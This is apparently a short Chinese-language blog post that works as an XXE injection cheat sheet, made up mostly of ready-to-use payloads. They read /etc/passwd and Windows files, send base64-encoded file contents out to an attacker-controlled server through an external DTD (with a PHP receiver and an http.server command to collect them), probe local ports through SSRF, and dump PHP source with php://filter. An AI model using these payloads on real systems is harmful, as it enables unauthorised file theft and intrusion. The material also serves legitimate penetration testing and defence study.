XXE

XXE

Posted by Kyon-H on August 6, 2023

1. XXE 介绍

【知识科普】今天聊聊XML这种文件格式_xml文件-CSDN博客

2. XXE payload

2.1. 有回显—读取文件

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
        <!ENTITY content SYSTEM "file:///etc/passwd">
        <!--<!ENTITY content SYSTEM "file:///c://Windows//System32//test.txt">-->
]>
<x>&content;</x>

可通过读取不存在文件,根据报错获取当前路径

image.png

可知当前路径:C:\Software\phpstudy_pro\WWW\xxe-lab\php_xxe\

2.2. 无回显-读取文件

2.2.1. 方法一

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test [
        <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
        <!ENTITY % dtd SYSTEM "http://192.168.30.130:8081/test.dtd">
        %dtd;
        %send;
]>

test.dtd

1
2
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.30.130:8081/?data=%file;'>">
%payload;

2.2.2. 方法二

hack服务器创建 1.php

1
<?php file_put_contents("1.txt", $_GET['file']); ?>

hack 服务器创建 evil.xml

1
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.163.130:8000/1.php?content=%file;'>"> %payload;

1.phpevil.xml 目录下开启 http 服务

1
python -m http.server -b 192.168.163.130 8000

bp抓包修改

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test [
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C://windows//win.ini">
	<!ENTITY % dtd SYSTEM "http://192.168.163.130:8000/evil.xml">
	%dtd;
	%send;
]>

2、SSRF—探测端口:

适用于有回显和blind xxe,也是外部一般实体:

1
2
3
4
5
6
7
<?xml version="1.0"?>

<!DOCTYPE ANY [

    <!ENTITY content SYSTEM "http://127.0.0.1:3306">]>

<name>&content;</name>

根据响应时间判断是否存活

3、如果是php的话,可以用php的filter协议直接读出文件

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE r [ 
<!ELEMENT r ANY>
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> 
<creds>&goodies;</creds>